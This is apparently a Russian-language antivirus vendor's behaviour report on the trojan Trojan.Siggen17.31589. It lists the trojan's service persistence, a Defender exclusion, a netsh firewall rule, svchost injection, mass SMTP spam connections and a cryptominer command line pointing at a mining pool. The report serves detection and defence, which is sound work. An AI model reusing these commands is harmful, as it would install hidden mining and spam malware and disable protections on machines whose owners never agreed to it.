Trojan.Siggen17.31589

Техническая информация

Для обеспечения автозапуска и распространения

Устанавливает следующие настройки сервисов

[<HKLM>\System\CurrentControlSet\Services\qhscutrd] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\qhscutrd] 'ImagePath' = '%WINDIR%\SysWOW64\qhscutrd\cozxxjzb.exe /d"<Полный путь к файлу>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\qhscutrd] 'ImagePath' = '%WINDIR%\SysWOW64\qhscutrd\cozxxjzb.exe'

Создает следующие сервисы

'qhscutrd' %WINDIR%\SysWOW64\qhscutrd\cozxxjzb.exe /d"<Полный путь к файлу>"
'qhscutrd' %WINDIR%\SysWOW64\qhscutrd\cozxxjzb.exe

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса с помощью следующих ключей реестра::

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\qhscutrd' = '00000000'

Запускает на исполнение

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Внедряет код в

следующие системные процессы:

%WINDIR%\syswow64\svchost.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\cozxxjzb.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Перемещает следующие файлы

%TEMP%\cozxxjzb.exe в %WINDIR%\syswow64\qhscutrd\cozxxjzb.exe

Самоудаляется.

Сетевая активность

Подключается к

'mi##########m.mail.protection.outlook.com':25
'mx#.###lchannels.net':25
'kh#.###.1.arsmtp.com':25
'mx####.##il.am0.yahoodns.net':25
'ma##.##ivacy-mail.top':25
'mx##.###ud.vadesecure.com':25
'mx#######d01.gslb.pphosted.com':25
'mx#######203.gslb.pphosted.com':25
'mx#.##il.aliyun.com':25
'mx#######301.gslb.pphosted.com':25
'xm###chool.cf':2222
'mx###.##il.am0.yahoodns.net':25
'an#####m.servicesti.net':25
'in#########orp.com.1.0001.arsmtp.com':25
'mx.####aaviation.net':25
'mx#.##lenet-ops.be':25
'sm###in.sfr.fr':25
'mx##.mb5p.com':25
'co##el.com':443
'mt##.##0.yahoodns.net':25
'mx#######a01.gslb.pphosted.com':25
'mx#.qq.com':25
'mx#.#aver.com':25
'mx#.###l.hostpoint.ch':25
'mx####.carrierzone.com':25
'ma##.#eywhitman.com':25
'mx######.ssnc-corp.cloud':25
'ma##.###technologies.biz':25
'mx#######b01.gslb.pphosted.com':25
'mo######il.com.1.arsmtp.com':25
'mx#######002.gslb.pphosted.com':25
'mx#.######nfotech.c3s2.iphmx.com':25
'mx####.cherokee.org':25
'qu#######.com.1.0001.arsmtp.com':25
'alt2.aspmx.l.google.com':25
'0.##.#ofthome.net':25
'mx#.####3-68.c3s2.iphmx.com':25
'ca########.com.1.0001.arsmtp.com':25
'mx#######701.gslb.pphosted.com':25
'mx#######401.gslb.pphosted.com':25
'19#######3.pamx1.hotmail.com':25
'mx#.###005-0.iphmx.com':25
'mx###.m2bp.com':25
'mx#.#harter.net':25
'mx#.##ngroup.com':25
'cl######.us.messagelabs.com':25
'ma########.ktc235a.fibernetics.ca':25
'aj###.#om.1.arsmtp.com':25
'in###gram.com':443
'cl######a.mailcontrol.com':25
'sp#######r.iowabroadband.com':25
'mx#######001.gslb.pphosted.com':25
'mx.##.#tinternet.com':25
'ma##.##rkerdrilling.com':25
'mi###########com.mail.protection.outlook.com':25
'mx#######702.gslb.pphosted.com':25
'sm##.#opmail.com':25
'ma##.#-email.net':25
'mx#.#angia.biz':25
'mx.###zta.onet.pl':25
'mx#######801.gslb.pphosted.com':25
'na#.###.#rotection.outlook.com':25
'cu#######-1.in.mailcontrol.com':25
'15#.#40.201.174':443
'mx#.####1-18.ca.iphmx.com':25
'mx#######c03.gslb.pphosted.com':25
'mo##########.mail.protection.outlook.com':25
'mx.#ds.net':25
'mx.######mail.rediff.akadns.net':25
'he##########m.mail.protection.outlook.com':25
'jd###.#dpharmacy.com':25
'mx#.#ate.com':25
'ma#####t.lightning.net':25
'mx##.#egister.com':25
'cl#######.eu.messagelabs.com':25
'mx#######a02.gslb.pphosted.com':25
'mx#######f03.gslb.pphosted.com':25
'gmail-smtp-in.l.google.com':25
'mx.#####.#om.cust.b.hostedemail.com':25
'so####2.sohu.com':25
'mx.##s.untd.com':25
'mx##.1and1.com':25
'mx#.####sinbound.iphmx.com':25
'mx##.###us-vadesecure.net':25
'ma##.#atelbg.com':25
'mx.##mts.net':25
'sh########l.mx.a.cloudfilter.net':25
'ma##.#luetie.com':25
'mx####.##il.gm0.yahoodns.net':25
'ma##.####owstoneroadrunner.com':25
'ma######e1.secureserver.net':25
'mx#.##rox.iphmx.com':25
'si#########pment.com.1.0001.arsmtp.com':25
'mx.#####.##.uk.cust.b.hostedemail.com':25
'as##.#inet.net.au':25
'cx#.##.#.cloudfilter.net':25
'ni###eimr.cn':443
'62.##4.41.45':484
'mx.##wway.com':25
'mx#.#eznam.cz':25
'mx.##a.untd.com':25
'c2###.#om.1.arsmtp.com':25
'mx###.comcast.net':25
'dn#######stmx01.email.rr.com':25
'ff######x-vip1.prodigy.net':25
'mx.#p.pl':25
'ma####.gslb.fedex.com':25
'mx.#len.pl':25
'alt1.aspmx.l.google.com':25
'mx##.#ocospace.com':25
'ff######x-vip2.prodigy.net':25
'cl######.eu.messagelabs.com':25
'sm###.#ail.medcity.net':25
'mx#######f01.gslb.pphosted.com':25
'ap#.###.#rotection.outlook.com':25
'fr#####.#inamail.sina.com.cn':25
'mx.##rkerag.com':25
'mx.###.###.cust.b.hostedemail.com':25
'mx#######501.gslb.pphosted.com':25
'js###.#om.1.arsmtp.com':25
'mx#.##b.iphmx.com':25
'mx.#####mmunications.com':25
'mx##.#aramail.com':25
'mx##.##il.icloud.com':25
'ma##.##bblerblack.com':25
'vc##.edu':443
'mx#.#mpal.com':25
'xs#####01.mail2web.com':25
'si##ail.com':25
'mx#######602.gslb.pphosted.com':25
'mx#######e01.gslb.pphosted.com':25
'mx#######101.gslb.pphosted.com':25
'google.com':80
'mx.###turylink.net':25
'mx#######c01.gslb.pphosted.com':25
'mx#######901.gslb.pphosted.com':25
'mx######91d01.pphosted.com':25
'ex####l.bigpond.com':25
'mx###.###ister.xion.oxcs.net':25
'mx.#####.#e.cust.b.hostedemail.com':25
'mx#######f02.gslb.pphosted.com':25
'mx#.##ailsrvr.com':25
'mx##.#-online.de':25
'62.##4.41.46':420
'62.##4.41.47':420
'62.##4.41.48':420
'91.#43.33.5':420
'62.##4.41.50':420
'62.##4.41.49':420
'es###.ucs.mun.ca':25
'pk#####.#sg.pkvw.co.charter.net':25

TCP

Запросы HTTP GET

http://www.google.com/

Другие

'ni###eimr.cn':443
'mx.###zta.onet.pl':25
'mx#.#angia.biz':25
'cl#######.eu.messagelabs.com':25
'mx##.mb5p.com':25
'mx##.#egister.com':25
'in#########orp.com.1.0001.arsmtp.com':25
'15#.#40.201.174':443
'na#.###.#rotection.outlook.com':25
'mx#######c01.gslb.pphosted.com':25
'xm###chool.cf':2222
'mx#.##il.aliyun.com':25
'mx####.##il.am0.yahoodns.net':25
'mx#.###lchannels.net':25
'kh#.###.1.arsmtp.com':25
'an#####m.servicesti.net':25
'62.##4.41.48':420
'cu#######-1.in.mailcontrol.com':25
'mx.##.#tinternet.com':25
'sp#######r.iowabroadband.com':25
'cl######a.mailcontrol.com':25
'in###gram.com':443
'aj###.#om.1.arsmtp.com':25
'ma########.ktc235a.fibernetics.ca':25
'mx#.##ngroup.com':25
'mx#.###005-0.iphmx.com':25
'19#######3.pamx1.hotmail.com':25
'mi###########com.mail.protection.outlook.com':25
'sm##.#opmail.com':25
'mx#.####3-68.c3s2.iphmx.com':25
'ma##.#-email.net':25
'he##########m.mail.protection.outlook.com':25
'mx.######mail.rediff.akadns.net':25
'co##el.com':443
'mx###.##il.am0.yahoodns.net':25
'mt##.##0.yahoodns.net':25
'alt2.aspmx.l.google.com':25
'qu#######.com.1.0001.arsmtp.com':25
'gmail-smtp-in.l.google.com':25
'mx#.##rox.iphmx.com':25
'ap#.###.#rotection.outlook.com':25
'mx####.##il.gm0.yahoodns.net':25
'ma##.#atelbg.com':25
'mx#.####sinbound.iphmx.com':25
'ff######x-vip2.prodigy.net':25
'si#########pment.com.1.0001.arsmtp.com':25
'62.##4.41.46':420
'mx##.#ocospace.com':25
'alt1.aspmx.l.google.com':25
'mx#.#eznam.cz':25
'ff######x-vip1.prodigy.net':25
'c2###.#om.1.arsmtp.com':25
'62.##4.41.45':484
'ca########.com.1.0001.arsmtp.com':25
'mo##########.mail.protection.outlook.com':25
'62.##4.41.47':420
'62.##4.41.49':420
'mx#######901.gslb.pphosted.com':25
'mx####.carrierzone.com':25
'mx####.cherokee.org':25
'mo######il.com.1.arsmtp.com':25
'mx#######b01.gslb.pphosted.com':25
'mx#.#aver.com':25
'mx#.qq.com':25
'mx#######a01.gslb.pphosted.com':25
'xs#####01.mail2web.com':25
'ma##.##bblerblack.com':25
'vc##.edu':443
'mx.#####mmunications.com':25
'fr#####.#inamail.sina.com.cn':25
'js###.#om.1.arsmtp.com':25
'91.#43.33.5':420
'62.##4.41.50':420
'ma#####t.lightning.net':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK sk#.com
DNS ASK in##co.com
DNS ASK xm###chool.cf
DNS ASK me#####distribution.com
DNS ASK te####medical.com
DNS ASK in#####utomotive.com
DNS ASK di###rds.com
DNS ASK pg.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK mx#.##il.aliyun.com
DNS ASK al##un.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK sv#.com
DNS ASK mx#######203.gslb.pphosted.com
DNS ASK fo##ia.com
DNS ASK ry###der.org
DNS ASK ag####mondiale.fr
DNS ASK mx##.###ud.vadesecure.com
DNS ASK is##.asso.fr
DNS ASK ju##tap.com
DNS ASK cl#######.eu.messagelabs.com
DNS ASK am##a.com
DNS ASK ab##ech.com
DNS ASK mx##.#egister.com
DNS ASK bi###men.com
DNS ASK mx##.mb5p.com
DNS ASK lu###nder.co.uk
DNS ASK mx#.##lenet-ops.be
DNS ASK pa##ora.be
DNS ASK mx.####aaviation.net
DNS ASK de####viation.net
DNS ASK in#########orp.com.1.0001.arsmtp.com
DNS ASK in####ity-corp.com
DNS ASK an#####m.servicesti.net
DNS ASK th####encouture.com
DNS ASK su###ust.com
DNS ASK mx#######d01.gslb.pphosted.com
DNS ASK la###diale.com
DNS ASK ar##st.com
DNS ASK cc#.aphp.fr
DNS ASK si##nse.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK fr###ier.com
DNS ASK alt2.aspmx.l.google.com
DNS ASK de###ind.net
DNS ASK te##s.net
DNS ASK qu#######.com.1.0001.arsmtp.com
DNS ASK qu###tron.com
DNS ASK co####lsausa.com
DNS ASK mx#.######nfotech.c3s2.iphmx.com
DNS ASK pk###oup.com
DNS ASK mx####.cherokee.org
DNS ASK ch###kee.org
DNS ASK mx#######002.gslb.pphosted.com
DNS ASK ni##.com
DNS ASK mo######il.com.1.arsmtp.com
DNS ASK mo###eygil.com
DNS ASK ec###ons.org
DNS ASK mt##.##0.yahoodns.net
DNS ASK cw##y.net
DNS ASK 0.##.#ofthome.net
DNS ASK co##el.com
DNS ASK no#s.fr
DNS ASK pr####y-mail.top
DNS ASK vr###eng.com
DNS ASK pf##er.com
DNS ASK ar####reacademy.org
DNS ASK rs##.org
DNS ASK ao#.co.uk
DNS ASK te###stems.com
DNS ASK mx####.##il.am0.yahoodns.net
DNS ASK lm###orp.com
DNS ASK ne###ape.net
DNS ASK ly##s.com
DNS ASK kh#.###.1.arsmtp.com
DNS ASK kh#.com
DNS ASK mx#.###lchannels.net
DNS ASK rg#####hnologies.com
DNS ASK sm###in.sfr.fr
DNS ASK ma##.##ivacy-mail.top
DNS ASK ce###rylink.net
DNS ASK sh##tel.net
DNS ASK em##l.cz
DNS ASK th##a.it
DNS ASK aj###.#om.1.arsmtp.com
DNS ASK aj##w.com
DNS ASK ma########.ktc235a.fibernetics.ca
DNS ASK in###log.com
DNS ASK cl######.us.messagelabs.com
DNS ASK mo#.com
DNS ASK mx#.##ngroup.com
DNS ASK ud###oup.com
DNS ASK mx#.#harter.net
DNS ASK ch##ter.net
DNS ASK we####handwick.com
DNS ASK mx#.###005-0.iphmx.com
DNS ASK mx###.m2bp.com
DNS ASK mi###gancat.com
DNS ASK ho###olar.com
DNS ASK we###et.com.au
DNS ASK 19#######3.pamx1.hotmail.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK il####ldmonk.com
DNS ASK pa##ell.net
DNS ASK ca########.com.1.0001.arsmtp.com
DNS ASK ca###k-inc.com
DNS ASK ma##.##rkerdrilling.com
DNS ASK pa####drilling.com
DNS ASK sr#.com
DNS ASK mx.##.#tinternet.com
DNS ASK bt###ernet.com
DNS ASK m2.com
DNS ASK sp#######r.iowabroadband.com
DNS ASK dw#.com
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK up#.com
DNS ASK bs##l.com
DNS ASK ki###ener.ca
DNS ASK ho##ial.com
DNS ASK pa##v.org
DNS ASK in###gram.com
DNS ASK ca###a.co.uk
DNS ASK so###ome.net
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK jd###rmacy.com
DNS ASK ba##bb.com
DNS ASK mo###ola.com
DNS ASK af##.com
DNS ASK mx#######c03.gslb.pphosted.com
DNS ASK pu##way.com
DNS ASK ex##te.com
DNS ASK mx#.####1-18.ca.iphmx.com
DNS ASK ko###ant.com
DNS ASK cu#######-1.in.mailcontrol.com
DNS ASK ac###agl.com.au
DNS ASK na#.###.#rotection.outlook.com
DNS ASK wi###wslive.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK be####arkmed.com
DNS ASK mx.###zta.onet.pl
DNS ASK vp.pl
DNS ASK mx.#ds.net
DNS ASK at#.com
DNS ASK mx#.#angia.biz
DNS ASK mo##########.mail.protection.outlook.com
DNS ASK bh###lliton.com
DNS ASK sm##.#opmail.com
DNS ASK mi###########com.mail.protection.outlook.com
DNS ASK yo##ail.com
DNS ASK am##l.com
DNS ASK sy###ite.com
DNS ASK sw##ll.net
DNS ASK mx#.####3-68.c3s2.iphmx.com
DNS ASK ab##.com
DNS ASK ma##.#-email.net
DNS ASK ma#####t.lightning.net
DNS ASK li###ning.net
DNS ASK mx#.#ate.com
DNS ASK na##.com
DNS ASK he##########m.mail.protection.outlook.com
DNS ASK he###haul.com
DNS ASK jd###.#dpharmacy.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK re###fmail.com
DNS ASK ne##ez.com
DNS ASK ma##.###technologies.biz
DNS ASK dw####hnologies.biz
DNS ASK so##.com
DNS ASK ka##lbg.com
DNS ASK mx##.###us-vadesecure.net
DNS ASK ab##.net
DNS ASK mx#.####sinbound.iphmx.com
DNS ASK ko##s.com
DNS ASK mx##.1and1.com
DNS ASK y-##.com
DNS ASK at#.net
DNS ASK mx.##s.untd.com
DNS ASK ne##ero.com
DNS ASK ne##ero.net
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK ma###ity.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK gm##l.com
DNS ASK so####2.sohu.com
DNS ASK ma####.gslb.fedex.com
DNS ASK mt#.net
DNS ASK mx.##mts.net
DNS ASK ye######oneroadrunner.com
DNS ASK ma##.####owstoneroadrunner.com
DNS ASK es###.ucs.mun.ca
DNS ASK mx#######f03.gslb.pphosted.com
DNS ASK mu#.ca
DNS ASK ad#.org
DNS ASK mx.#####.##.uk.cust.b.hostedemail.com
DNS ASK ly##s.co.uk
DNS ASK mx#.##rox.iphmx.com
DNS ASK es#.net
DNS ASK ma######e1.secureserver.net
DNS ASK ad##.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ve##zon.net
DNS ASK ma##.#luetie.com
DNS ASK ar##.net
DNS ASK sh########l.mx.a.cloudfilter.net
DNS ASK sh#w.ca
DNS ASK ho###il.co.nz
DNS ASK ad###hia.net
DNS ASK ap#.###.#rotection.outlook.com
DNS ASK as##.#inet.net.au
DNS ASK mx#.#eznam.cz
DNS ASK mx###.comcast.net
DNS ASK co##ast.net
DNS ASK c2###.#om.1.arsmtp.com
DNS ASK c2##t.com
DNS ASK mx.##a.untd.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK ju##.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK dn#######stmx01.email.rr.com
DNS ASK se##am.cz
DNS ASK mx.##wway.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK wo##ay.com
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK ni###eimr.cn
DNS ASK si#####equipment.com
DNS ASK si#########pment.com.1.0001.arsmtp.com
DNS ASK ki##os.com
DNS ASK ff######x-vip1.prodigy.net
DNS ASK ho###on.rr.com
DNS ASK aa##.net.au
DNS ASK cl######.eu.messagelabs.com
DNS ASK ca###usena.com
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK co#.net
DNS ASK ff######x-vip2.prodigy.net
DNS ASK sb###obal.net
DNS ASK mx##.#ocospace.com
DNS ASK mo###pace.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK mi###a.edu.co
DNS ASK mx.#len.pl
DNS ASK o2.pl
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK mx.#p.pl
DNS ASK wp.pl
DNS ASK be###outh.net
DNS ASK cl######a.mailcontrol.com
DNS ASK be#.com
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK ch######daccountants.com.au
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK gu##t.com
DNS ASK mx#######602.gslb.pphosted.com
DNS ASK gr###-ellis.com
DNS ASK si##ail.com
DNS ASK xs#####01.mail2web.com
DNS ASK ma###web.com
DNS ASK mx#.#mpal.com
DNS ASK em##l.com
DNS ASK vc##.edu
DNS ASK po###cerv.com
DNS ASK ma##.##bblerblack.com
DNS ASK co####rblack.com
DNS ASK mx##.##il.icloud.com
DNS ASK me.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK mx##.#aramail.com
DNS ASK ca###ail.com
DNS ASK mx#######702.gslb.pphosted.com
DNS ASK en##na.com
DNS ASK mx######.ssnc-corp.cloud
DNS ASK bo####financial.com
DNS ASK mx####.carrierzone.com
DNS ASK df##ir.net
DNS ASK ma##.#eywhitman.com
DNS ASK ke###itman.com
DNS ASK ic##ud.com
DNS ASK mx#.###l.hostpoint.ch
DNS ASK cr####igraph.com
DNS ASK ta####multiples.org
DNS ASK mx#.#aver.com
DNS ASK na##r.com
DNS ASK mx#.qq.com
DNS ASK fo##ail.com
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK fi####atings.com
DNS ASK ma####ttccplaza.com
DNS ASK fo###rfarms.com
DNS ASK mx#######a02.gslb.pphosted.com
DNS ASK ma##.#atelbg.com
DNS ASK mx#.##ailsrvr.com
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK ll####ancial.com
DNS ASK wy##h.com
DNS ASK go##y.com
DNS ASK aspmx.l.google.com
DNS ASK sa###web.net
DNS ASK am###tech.net
DNS ASK mx.#####.#e.cust.b.hostedemail.com
DNS ASK ly##s.de
DNS ASK mx###.###ister.xion.oxcs.net
DNS ASK al#####emarketingpr.com
DNS ASK ex####l.bigpond.com
DNS ASK ii###.net.au
DNS ASK bi##ond.com
DNS ASK mx######91d01.pphosted.com
DNS ASK sb#.com
DNS ASK mx.#####mmunications.com
DNS ASK mx#.##b.iphmx.com
DNS ASK ne###rkfed.org
DNS ASK mx.###turylink.net
DNS ASK t-##line.de
DNS ASK js###.#om.1.arsmtp.com
DNS ASK go###rhead.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK js##s.com
DNS ASK am###trade.com
DNS ASK mx.###.###.cust.b.hostedemail.com
DNS ASK ca#.net
DNS ASK mx.##rkerag.com
DNS ASK pa###rag.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK gr####capesinc.net
DNS ASK fr#####.#inamail.sina.com.cn
DNS ASK google.com
DNS ASK si##.com
DNS ASK sm###.#ail.medcity.net
DNS ASK hc####lthcare.com
DNS ASK mx##.#-online.de
DNS ASK pk#####.#sg.pkvw.co.charter.net

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\qhscutrd\cozxxjzb.exe' /d"<Полный путь к файлу>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qhscutrd\' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\cozxxjzb.exe" %WINDIR%\SysWOW64\qhscutrd\' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' create qhscutrd binPath= "%WINDIR%\SysWOW64\qhscutrd\cozxxjzb.exe /d\"<Полный путь к файлу>\"" type= own start= auto DisplayName= "wifi support"' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' description qhscutrd "wifi internet conection"' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' start qhscutrd' (со скрытым окном)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\qhscutrd\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\cozxxjzb.exe" %WINDIR%\SysWOW64\qhscutrd\
'%WINDIR%\syswow64\sc.exe' create qhscutrd binPath= "%WINDIR%\SysWOW64\qhscutrd\cozxxjzb.exe /d\"<Полный путь к файлу>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description qhscutrd "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start qhscutrd
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o xmr-school.cf:2222 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+50000 -p x -k -a cn/half

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней